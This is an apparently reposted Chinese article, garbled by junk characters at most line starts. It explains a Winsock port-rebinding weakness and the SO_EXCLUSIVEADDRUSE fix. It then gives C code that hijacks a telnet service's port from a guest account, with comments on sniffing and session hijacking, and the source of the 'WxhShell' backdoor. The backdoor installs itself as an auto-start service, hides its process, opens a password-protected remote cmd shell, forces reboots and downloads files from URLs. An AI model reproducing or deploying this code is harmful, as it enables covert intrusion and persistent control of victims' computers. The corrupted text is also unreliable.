在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Phu|
hx< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tpONSRY `x)bw saddr.sin_family = AF_INET;
HU9y{H Oy$BR
<\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
h>0<@UP Ah{pidUx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;0}2@Q2@ZK Bq_P?Q+\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}8 _9V|E J_|x^ 这意味着什么?意味着可以进行如下的攻击:
yan[{h]EZ _#mqg]W ' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
bq-\'h
f< :* b4/qpYv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=fK'Ep[ om?CFl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yXg1N
N u^%')Ncp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lVtn$frp q}Z
T?Xk? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7G/|e24 30+l0\1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mX@*2I
"B3:m-' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
389.&`Q%Ut **w~ #include
5KE%@,k k #include
Gcz@ze #include
es+_]:7B9 #include
ok%!o+nk. DWORD WINAPI ClientThread(LPVOID lpParam);
cu!bg+,zl int main()
g4a X {
UMQW#$~C{g WORD wVersionRequested;
D*'M^k|1 DWORD ret;
N('DIi*or WSADATA wsaData;
'.
Hp*9R BOOL val;
% 3-\3qx* SOCKADDR_IN saddr;
KGmc*Jwy SOCKADDR_IN scaddr;
I{e^,oc int err;
3H#/u! W SOCKET s;
fhIj+/{_O SOCKET sc;
/3Ix,7 int caddsize;
p[F=L P HANDLE mt;
m_02"' DWORD tid;
tW"ptU^9) wVersionRequested = MAKEWORD( 2, 2 );
1idjX"' err = WSAStartup( wVersionRequested, &wsaData );
CU1\C* if ( err != 0 ) {
}_(^/pnk printf("error!WSAStartup failed!\n");
tr9Y1vxo{ return -1;
&9w%n }
y<%.wM]-J saddr.sin_family = AF_INET;
A2:){`Mw .4re0:V //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i~B@(, = #2qX>? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^}/
E~Sg7\ saddr.sin_port = htons(23);
3r:)\E+Q_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*r,&@UB {
:8Ts'OGwI printf("error!socket failed!\n");
eOPCYyN return -1;
Xe3z6 }
`}8@[iB' val = TRUE;
j /dE6d //SO_REUSEADDR选项就是可以实现端口重绑定的
p $1Rgm\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?Ga2K {
ph12x: @B printf("error!setsockopt failed!\n");
]n]uN~)9 return -1;
q\'P1~ }
JRjMt-7H_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
G q:4rG| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
T~~[a|bLa //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z5&%T}$tJ Ms'TC;&PS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)
~)SCN>- {
j)tCr Py ret=GetLastError();
LH/&\k printf("error!bind failed!\n");
@S"pJeP/f return -1;
a3dzok }
#w,WwL! listen(s,2);
oz0n$`O$/ while(1)
w^rb|mKo {
|;U=YRi caddsize = sizeof(scaddr);
M`+e'vdw //接受连接请求
k CW!m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gUH'DS]{ if(sc!=INVALID_SOCKET)
Hdbnb[e {
UK~B[=b9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9p\Hx#^ if(mt==NULL)
.W@4vrp@ {
K[LVT]3 n printf("Thread Creat Failed!\n");
'
MS!ss=r break;
3Da,]w< }
s 9|a2/{ }
WW[`E CloseHandle(mt);
@>#{WI:"~ }
e8ULf~I closesocket(s);
L>~@9a\jO WSACleanup();
4&oXy,8LC return 0;
n:*_uc^C }
vJj:9KcP>h DWORD WINAPI ClientThread(LPVOID lpParam)
4)odFq: {
b1+hr(kMRM SOCKET ss = (SOCKET)lpParam;
~ACP%QM= SOCKET sc;
#7~tL23}] unsigned char buf[4096];
I*:qGr+ WJ SOCKADDR_IN saddr;
J|"nwY}a9 long num;
:,%J6Zh? DWORD val;
pqH(
Tbjq DWORD ret;
3Zaq#uA //如果是隐藏端口应用的话,可以在此处加一些判断
x7KcO0F{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E)80S.V saddr.sin_family = AF_INET;
o,CA;_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6R-C0_'h saddr.sin_port = htons(23);
uhTKCR~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~.W= {
Wd^lt7(j printf("error!socket failed!\n");
*dG}R#9Nv return -1;
FYXw$7'l }
^Cc8F3os= val = 100;
YHO;IQ5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e+F}9HR7 {
j(Fa=pi ret = GetLastError();
/zl3&~4 return -1;
9Q C"Od9H }
Y/^[qD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~tg1N^]kV {
rw5#e.~V ret = GetLastError();
wuIsO;}/9 return -1;
%$ir a\
sM }
--
i&" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\'; t* {
|{7e#ww] printf("error!socket connect failed!\n");
nIV.9#~& closesocket(sc);
;w+:8<mM}a closesocket(ss);
W>}Qer4 return -1;
Dm|gSv8d, }
y$j1?7 while(1)
<ELziE~>V {
BcZEa^^~os //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%z-dM` i //如果是嗅探内容的话,可以再此处进行内容分析和记录
f[JI/H> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y)Znb;`?a num = recv(ss,buf,4096,0);
?jNF6z*M6 if(num>0)
qeQC&U
y; send(sc,buf,num,0);
Kf05<J! else if(num==0)
&*(n<5wt break;
2I]]WBW#: num = recv(sc,buf,4096,0);
UM4@H1 if(num>0)
#$rf-E5g-K send(ss,buf,num,0);
IwTr'}XIw else if(num==0)
CF3E]dt break;
~@[(N]=q }
'?{0z!! closesocket(ss);
/,1SE( closesocket(sc);
\#\`!L[1 return 0 ;
3AdP^B< }
x1 ;rb8 &5kZ{,-eM gB/;clCdX) ==========================================================
&7L~PZ /e.FY9 下边附上一个代码,,WXhSHELL
ur/Oc24i1n H o4B ==========================================================
jo,6Aog|u xZ^ywa_ #include "stdafx.h"
:k WZSN8.D Wk/fB0 #include <stdio.h>
WdTbt #include <string.h>
4r_!>['`" #include <windows.h>
uIYcmF\? #include <winsock2.h>
/Y;+PAy #include <winsvc.h>
(oLpnjJ(, #include <urlmon.h>
tv 4s12& Fy 4Tvg #pragma comment (lib, "Ws2_32.lib")
,pDp>-vI% #pragma comment (lib, "urlmon.lib")
gf:vb*#Wa lp:_H-sG #define MAX_USER 100 // 最大客户端连接数
5h|'DOx|o #define BUF_SOCK 200 // sock buffer
:FoOQ[Q #define KEY_BUFF 255 // 输入 buffer
<WM -@J(1 x9xzm5 #define REBOOT 0 // 重启
`xISkW4 % #define SHUTDOWN 1 // 关机
2-8YSHlh !(W[!% #define DEF_PORT 5000 // 监听端口
hf_R\C(c | f"-|6 #define REG_LEN 16 // 注册表键长度
q$MHCq; #define SVC_LEN 80 // NT服务名长度
@
\!KF*v Xy[}G p // 从dll定义API
Z -pyFK\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
tegOT]| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@AvM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.>k=A|3G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
AU0$A403 Q8 -3RgAw // wxhshell配置信息
ZvUp#8x(3 struct WSCFG {
P-[fHCg~ int ws_port; // 监听端口
V)2"l"Kt char ws_passstr[REG_LEN]; // 口令
+7Sf8tg\ int ws_autoins; // 安装标记, 1=yes 0=no
&\&'L|0F char ws_regname[REG_LEN]; // 注册表键名
GMEw char ws_svcname[REG_LEN]; // 服务名
NV&;e[z char ws_svcdisp[SVC_LEN]; // 服务显示名
U^B"|lc:[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
hbVE;
9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|)^clkuGX int ws_downexe; // 下载执行标记, 1=yes 0=no
:L]-'\y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/pO{2[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K1;zMh |$M@09,F" };
!-KCFMvT '!pAnsXfO // default Wxhshell configuration
2y^Uk,g struct WSCFG wscfg={DEF_PORT,
M,&tA1CH "xuhuanlingzhe",
;
Zh9^0 1,
cE^kpnVq|< "Wxhshell",
:[L{KFQU "Wxhshell",
~@xT]D!BQ "WxhShell Service",
D._{E*vg "Wrsky Windows CmdShell Service",
U%Dit "Please Input Your Password: ",
{*sGhGwr 1,
0xN!DvCg>. "
http://www.wrsky.com/wxhshell.exe",
(2:
N; "Wxhshell.exe"
: @s8?eg };
(gLea XxhsPFv // 消息定义模块
*:?QB8YJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*f{7 char *msg_ws_prompt="\n\r? for help\n\r#>";
g+igxC}2z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/d[Mss char *msg_ws_ext="\n\rExit.";
>g=^,G}y char *msg_ws_end="\n\rQuit.";
TKK,Y{{ char *msg_ws_boot="\n\rReboot...";
1d`cTaQ- char *msg_ws_poff="\n\rShutdown...";
K-Re"zsz char *msg_ws_down="\n\rSave to ";
8098y,mQe }(m1ql char *msg_ws_err="\n\rErr!";
4/b(Y4$,[r char *msg_ws_ok="\n\rOK!";
,cLH*@ t5%TS:u char ExeFile[MAX_PATH];
9`&?hi49nK int nUser = 0;
S3ErH,XB. HANDLE handles[MAX_USER];
0%/,>IR>r int OsIsNt;
|4=ihB9+ gRHtgR)T3 SERVICE_STATUS serviceStatus;
n4Vwao/9x SERVICE_STATUS_HANDLE hServiceStatusHandle;
64SW H4W1\u // 函数声明
[Uswf3 int Install(void);
S[Vtq^lU int Uninstall(void);
d60c$?"]a( int DownloadFile(char *sURL, SOCKET wsh);
Qr<AV: int Boot(int flag);
^,LtEwd~Y void HideProc(void);
X)8e4~(? int GetOsVer(void);
|ribWCv0 int Wxhshell(SOCKET wsl);
gglf\)E;}E void TalkWithClient(void *cs);
B4@fY int CmdShell(SOCKET sock);
XWJ SLN(O int StartFromService(void);
\Ps5H5Qk; int StartWxhshell(LPSTR lpCmdLine);
VDG|>#[! -=5EbNPwG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
TM)u?t+[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
2_wvC su}&".e^ // 数据结构和表定义
_wmI(+_ SERVICE_TABLE_ENTRY DispatchTable[] =
HV8I nodi {
}*h47t} {wscfg.ws_svcname, NTServiceMain},
V- /YNRV {NULL, NULL}
kY=rz&?U };
_FT6]I0 >d#3|;RY // 自我安装
I,]J=xi int Install(void)
0Yp>+:# {
04~}IbeJ char svExeFile[MAX_PATH];
u
>4ArtF HKEY key;
#vtN+E strcpy(svExeFile,ExeFile);
X6'H`E[ jKS!'? // 如果是win9x系统,修改注册表设为自启动
alVdQfu if(!OsIsNt) {
3EI]bmi~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S.1(3j* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\Yd4gaY\o RegCloseKey(key);
P:qz2Hw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nX )f'[ 7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;>8kPG RegCloseKey(key);
vmLpmxS return 0;
fa4=h;>a+ }
5}
G:D }
,%kmXh }
0t+])> else {
7|Xe&o<n p3 e|j // 如果是NT以上系统,安装为系统服务
%Uf'+!4l` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_H8*ReFG if (schSCManager!=0)
0Q`&inwh {
PYu$1o9+N SC_HANDLE schService = CreateService
Z&-tMai; (
1\y@E schSCManager,
Je 31". wscfg.ws_svcname,
Od-Ax+Hp wscfg.ws_svcdisp,
WtVf wC_ SERVICE_ALL_ACCESS,
/9Z!p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M1EOnq4- SERVICE_AUTO_START,
Jr]gEBX SERVICE_ERROR_NORMAL,
*!w25t svExeFile,
68p R: NULL,
yyjw?#\8 NULL,
|kseKZ3 NULL,
@y5= J`@= NULL,
0yaMe@&, NULL
~;8I5Sge );
x}|+sS,g if (schService!=0)
ioWo ] {
l~D\;F CloseServiceHandle(schService);
z+
ZG1\ CloseServiceHandle(schSCManager);
85D? dgV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^&MK42,\ strcat(svExeFile,wscfg.ws_svcname);
SB/3jH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}vY.EEy! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t!:)L+$3 RegCloseKey(key);
T)~!mifX return 0;
-=a[J;'q }
#|?8~c;RWG }
(0R2T"/ CloseServiceHandle(schSCManager);
Im+7<3Z }
e1UITjy }
f3vF"O p?kvW42/ return 1;
^KbL
,T }
v%nP*i9 !D;c,{Oz // 自我卸载
?A&%Cwj int Uninstall(void)
G|*G9nQ {
7&foEJ3q HKEY key;
%J!NL0x_ + {e`]t>_ if(!OsIsNt) {
R5ZIC4p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c]NN'9G!{ RegDeleteValue(key,wscfg.ws_regname);
#)]E8=} RegCloseKey(key);
, D"]y~~I5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(:n|v% RegDeleteValue(key,wscfg.ws_regname);
(v^Z BM_ RegCloseKey(key);
dlR_ckp return 0;
Zi*%*nX }
qnXTNs
?b }
|IN[uQ }
n}q$f|4! else {
AG>\aV"b uY]0dyI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|'$ l7 if (schSCManager!=0)
?oKL&I@ {
ve fU' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
n"Z |e tZ4 if (schService!=0)
Y{+3}drJE {
*)D1!R<\,R if(DeleteService(schService)!=0) {
:j,}{)5= CloseServiceHandle(schService);
$DE&J4K CloseServiceHandle(schSCManager);
CmHyAw( return 0;
`{o$F ::( }
RG}}Oh="v CloseServiceHandle(schService);
``4?a7!! }
4.w"(v9 V CloseServiceHandle(schSCManager);
MUwxgAG`G }
J|5Ay1eF-
}
~},W8\C> Z0\Iyc G return 1;
t^U^Tr }
SiTeB)/ R6P\T\~E // 从指定url下载文件
QC7k~I8 int DownloadFile(char *sURL, SOCKET wsh)
CA*~2| {
#xp(B5 HRESULT hr;
m9t$h char seps[]= "/";
U&W"Ea=R/ char *token;
`0@z"D5c char *file;
YPEnNt+ char myURL[MAX_PATH];
mNDuwDd$S char myFILE[MAX_PATH];
%*K;np-q{ 1tGgDbJU strcpy(myURL,sURL);
MI*Sq\-i token=strtok(myURL,seps);
!y[3]8Xxv while(token!=NULL)
u"Y]P*[k {
0OWL file=token;
[K:29N9~4 token=strtok(NULL,seps);
=:~(m }
N|Habua<Xw DFy1 bg GetCurrentDirectory(MAX_PATH,myFILE);
!_x*m@/ strcat(myFILE, "\\");
m\-PU z&C strcat(myFILE, file);
s)w9% send(wsh,myFILE,strlen(myFILE),0);
X<euD9? send(wsh,"...",3,0);
mb{q(WEPP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YgimJsm if(hr==S_OK)
N RSU+D-z return 0;
P
}Te"Y else
p6[ (81 return 1;
-;Uj|^ eaAPKx }
D#0O[F@l## h<NRE0- // 系统电源模块
<\aU"_D int Boot(int flag)
;?~
9hN! {
'[0YIn HANDLE hToken;
(B}+h TOKEN_PRIVILEGES tkp;
9g]M4*?C9P 1<,/
-H if(OsIsNt) {
lT,+bU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s
MZ[d\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mH\@QdF tkp.PrivilegeCount = 1;
BS2?!;,8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N!c
gN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S(t{&+Wc if(flag==REBOOT) {
+tUQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
w}`3 d@ return 0;
hSMV&Cs }
P
{H{UKs# else {
Le@?
/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sfI N)jh return 0;
.
\F7tc8? }
'9q6aM/& }
[cpNiw4e else {
}0{B if(flag==REBOOT) {
~gdd cTp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'n4u-pM(nB return 0;
I7G,`h+H }
Ekjf^Uo else {
_B$"e[:yX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=bL{i&& return 0;
l &Z(K,6 }
C*rd;+1A }
'{VM>Q ea~i-7 return 1;
XA3s],Rk }
[hnK/4! #{,h@g}W // win9x进程隐藏模块
KY+]RxX void HideProc(void)
o0`q#>7!_b {
j04/[V) GAp!nix6h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
LdEE+"Jw if ( hKernel != NULL )
#U@| J}a {
t?3BCm$Mi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
VGZ6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qd(hQsfqYU FreeLibrary(hKernel);
|M E{gy`5 }
w1i?#!| ]>8)|]O6n return;
dtTlIhh1V }
~6d5zI4\ plXG[1;&G // 获取操作系统版本
.Dx2 ;lj int GetOsVer(void)
}cW#045es {
=l,#iYJP8 OSVERSIONINFO winfo;
q[c Etp28h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d?7BxYaa GetVersionEx(&winfo);
5;Ia$lm=y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%6i=lyH- return 1;
5~l2!PY else
PEzia}m return 0;
@?a4i }
W~NYU 7$_
:sJ // 客户端句柄模块
7I3 :u+ int Wxhshell(SOCKET wsl)
Jck"Ks {
kl<g;3 SOCKET wsh;
)
,Npv3( struct sockaddr_in client;
?Aw3lH#: DWORD myID;
Qlh?iA !Uy>eji} while(nUser<MAX_USER)
c&e0OV\m {
\ V?I+Gc int nSize=sizeof(client);
ke6n/ h5` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8ds}+TtbY if(wsh==INVALID_SOCKET) return 1;
; )|nkI \Tkp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
OjATSmZ@@ if(handles[nUser]==0)
S:GTc QU closesocket(wsh);
tJm{I)G else
"TFwHe3C4 nUser++;
aAcKwCGq\ }
j@t{@Ke WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f?-J#x) ]_#SAhOR) return 0;
QgZJ`G-- }
!gJzg*{u@ 24X=5Aj // 关闭 socket
G?ZC9w]rA void CloseIt(SOCKET wsh)
-TZ^ ~s {
Gh+f1)\FA" closesocket(wsh);
nx$bM(. nUser--;
acae=c|X ExitThread(0);
}.t^D| }
JWWInuH U'M|=I' // 客户端请求句柄
Bac| ;+L~L void TalkWithClient(void *cs)
%rXexy!V {
ArX]L$D yxY
h?ka SOCKET wsh=(SOCKET)cs;
+wA p,Xr char pwd[SVC_LEN];
%omu char cmd[KEY_BUFF];
|D+p$^L char chr[1];
!ew6
n
I int i,j;
,!H\^Vfl #[(gIOrNn8 while (nUser < MAX_USER) {
Q@Dkl
F %ET
#
z! if(wscfg.ws_passstr) {
c_DaNEfaY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i'iO H|s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nF|Oy0 //ZeroMemory(pwd,KEY_BUFF);
NfqJ=9 i=0;
I1i:}g/ while(i<SVC_LEN) {
"$P'Wv %2YN,a4 // 设置超时
fFHK:n` fd_set FdRead;
Iu%^*K% struct timeval TimeOut;
f-&ATTx`J FD_ZERO(&FdRead);
t)!V+Qcb FD_SET(wsh,&FdRead);
4znH$M>bU TimeOut.tv_sec=8;
C$_G'XI TimeOut.tv_usec=0;
8=pv/o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A$ J9U3+O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yWmrdvL 9BO|1{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,3k@L\$.x pwd
=chr[0]; 0}D-KvjyP
if(chr[0]==0xd || chr[0]==0xa) { HoL~j( {
pwd=0; y:C)%cv}*
break; L9$&-A9ix
} l-cW;b~
i++; !YY6o
V
} {dBB{.hX
cB<O.@
// 如果是非法用户,关闭 socket |zh +
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jQ)L pjS1
} /Bh>
HS(U4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F:S"gRKz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^?nP$+gq
!*5_pGe
while(1) { %6N)G!P
[0wP\{%
ZeroMemory(cmd,KEY_BUFF); dDo6fP2
i`R(7Z
// 自动支持客户端 telnet标准 9lKRL'QR
j=0; z>7=k`x`:
while(j<KEY_BUFF) { }'v{dK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %uj[ `
cmd[j]=chr[0]; .(JE-upJ"
if(chr[0]==0xa || chr[0]==0xd) { hRa\1Jt>a
cmd[j]=0; *^uGvJXF
break; :Jm!=U%'Z
} 3Fgz)*Gu]
j++; )U]:9)
} Etw~*
& \JLTw
// 下载文件 MCM/=M'y
if(strstr(cmd,"http://")) { O/(3 87= U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); k{_1r;
if(DownloadFile(cmd,wsh)) 0u>yT?jP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +)?, {eE|
else <>VIDE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qg[heND
} ?vMK'"
else { /q T E
b-2pzcK{#
switch(cmd[0]) { hr%U>U9F
) sRN!~
// 帮助 b/z'`?[
case '?': { _a fciyso
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y?"$(%3|
break; akMJ4EF/
}
ccRlql(
// 安装 x!OWJ/O
case 'i': { EG%I1F%
if(Install()) mZ]P[lQ'5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?n2C
else *3!(*F@M,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wa(W&]
break; c$.UE
} FMoJ"6Q
// 卸载 0,:iE\
case 'r': { $|rCrak;
if(Uninstall()) ={\![{L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DE5d]3B
else z'?SRK5+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kea e.6[
break; ?Y%}(3y
} w8G7Jy
// 显示 wxhshell 所在路径 LFl2uV"
case 'p': { n'q
aR<bY
char svExeFile[MAX_PATH]; $I\))*a
strcpy(svExeFile,"\n\r"); d:A\<F
strcat(svExeFile,ExeFile); +d.u##$
send(wsh,svExeFile,strlen(svExeFile),0); _L8Mpx*E
break; C(f$!~M4b
} o1
jk=
// 重启 ,<7"K&
case 'b': { <_=JMA5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G}182"#4
if(Boot(REBOOT)) C\y[&egww
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=jd;2~
else { )>ug{M%g
closesocket(wsh); "w>rlsT<O
ExitThread(0); tX@0:RX%
} ]^Sd9ba
break; th5
X?so
} C_6GOpl
// 关机 cR,'o'V/
case 'd': { 65'`uuPx
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S4;wa6
if(Boot(SHUTDOWN)) +G<}JJ'V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >?^~s(t
else { :uOZjEZi
closesocket(wsh); z`c%?_EK
ExitThread(0); 0PYvey }[
} VEL:JsY
break; FX{~"
} " ]aQ Hh]f
// 获取shell AEB/8%l};v
case 's': { gmXy>{T
CmdShell(wsh); &B?@@6
closesocket(wsh); fx]\)0n
ExitThread(0); ~C%2t{"
break; f+*J
ue
} 7bctx_W&6
// 退出 x*NqA(r
case 'x': { d-9uv|SJ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kEp.0wL'
CloseIt(wsh); X(4s;i
break; <]Ij(+J;
} pGO|~:E/L
// 离开 eV"d v*R
case 'q': { d\v$%0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _{N0OX
closesocket(wsh); suA+8}o]
WSACleanup(); :({-0&&_
exit(1); }rO?5
break; yTzY?
} q>Q:X3
} k\sc }z8X
} qFV;n6&V
Ly#h|)
// 提示信息 ~%olCxfO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TX<e_[$\
} t#fs:A7P?}
} Xg|8".B)A
D+bB G
return; Nr>c'TH
} %4bO_vb<9
LXBbz;vYl
// shell模块句柄 #JK;&Dg!
int CmdShell(SOCKET sock) ;k9
?
{ 3r,1^h
STARTUPINFO si; p:DL:^zx
ZeroMemory(&si,sizeof(si)); Y}AmX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ap Fs UsE
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *ge].E
PROCESS_INFORMATION ProcessInfo; ^+(A&PyP?
char cmdline[]="cmd"; y0/WA4,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "6NFe!/Y$*
return 0; Dj-\))L
} o0zc}mm
;cM8EU^.
// 自身启动模式 1x~%Ydy
int StartFromService(void) $sA,$x:^xI
{ 8[6ny=S`
typedef struct 7Vz[ji
{ l.__10{
DWORD ExitStatus; u Y?/B~
DWORD PebBaseAddress; qZT 4+&y
DWORD AffinityMask;
3MNhH
DWORD BasePriority; 'Qm` A=
ULONG UniqueProcessId; 4 e=/f,o1
